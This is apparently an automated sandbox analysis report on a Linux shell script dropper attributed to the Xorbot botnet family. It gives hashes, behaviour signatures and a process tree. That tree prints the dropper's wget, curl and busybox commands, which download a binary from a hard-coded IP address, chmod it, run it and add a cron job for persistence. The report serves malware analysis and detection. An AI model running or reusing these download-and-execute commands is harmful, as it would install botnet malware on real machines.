Analysis
-
max time kernel
149s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240611-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
04/12/2024, 17:31
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
-
Target
bins.sh
-
Size
10KB
-
MD5
26c147f3c53daa20ad5513d299f09a9b
-
SHA1
dc48cbc8f77f2f2ddc3adfd3f82f7d62f9f63199
-
SHA256
c0f7db59299494b43e471d79920405ed4351ca6dc8d312e8b5b7bef5c588e570
-
SHA512
e5a1accbd6418b2ae9e53a6980a9d178868ae02e44dd84a280e61c8d28aa70ca312b0a17febb36374503716d55ca0b66a5d782caaf13009ddcc0ced11e3a6e78
-
SSDEEP
192:lvxMZOulYwDfXvYwsM8Y6l1ClVPciOumMDfXvYwh8Y6l10I:lvxMZYhM8Y6l1QVPc7y8Y6l1H
Malware Config
Signatures
-
resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
-
Contacts a large (2187) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1500 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem 1501 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem -
Renames itself 1 IoCs
pid Process 1502 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.cG0BZG crontab -
Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for reading /proc/6/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/459/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1612/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1656/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/21/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/249/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1630/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1671/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1147/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1301/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1586/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1621/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1633/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1638/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1683/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/451/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1108/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1141/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1150/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1526/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1570/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/36/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/429/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/529/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1226/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1554/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1523/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1524/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1685/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/447/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/624/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1258/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1541/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1644/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1232/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1514/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1515/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1534/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1552/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1125/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1558/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1635/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1673/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/89/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1655/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1670/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1559/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1654/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/30/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/164/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1470/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1475/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1535/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/18/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1576/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1179/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1568/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/25/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1060/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/1674/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/5/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/80/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/170/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem File opened for reading /proc/709/cmdline nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem wget File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem curl File opened for modification /tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem busybox
Processes
-
/tmp/bins.sh/tmp/bins.sh1⤵PID:1475
-
/bin/rm/bin/rm bins.sh2⤵PID:1476
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Writes file to tmp directory
PID:1477
-
-
/usr/bin/curlcurl -O http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Writes file to tmp directory
PID:1490
-
-
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Writes file to tmp directory
PID:1491
-
-
/bin/chmodchmod 777 nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- File and Directory Permissions Modification
PID:1500
-
-
/tmp/nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem./nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1501 -
/bin/shsh -c "crontab -l"3⤵PID:1503
-
/usr/bin/crontabcrontab -l4⤵PID:1504
-
-
-
/bin/shsh -c "crontab -"3⤵PID:1505
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:1506
-
-
-
-
/bin/rmrm nYQ1inwQtFvyVBbH2kk56Co1nogI0SPBem2⤵PID:1508
-
-
/usr/bin/wgetwget http://216.126.231.240/bins/XA160n6rARbS8Q7jBHEHHZwWFL92OW1abI2⤵PID:1511
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
-
Filesize
210B
MD5dfd3bd0541b0f6991410f5a49203970a
SHA1e015d7c0ae426d2c6cf572d27b20fbd5289c5591
SHA256616f8126cfbf3ccba7c98cfd000420854f84e98303930ce15925250552780669
SHA51270c016479fb2e5a301abb4ce68e38a3f4f5bc84b955c5f93b682c346a41c15712c6c0e844eb6489ece365f94ad9e65b71dafdf8759709136cc5bc745d9da4464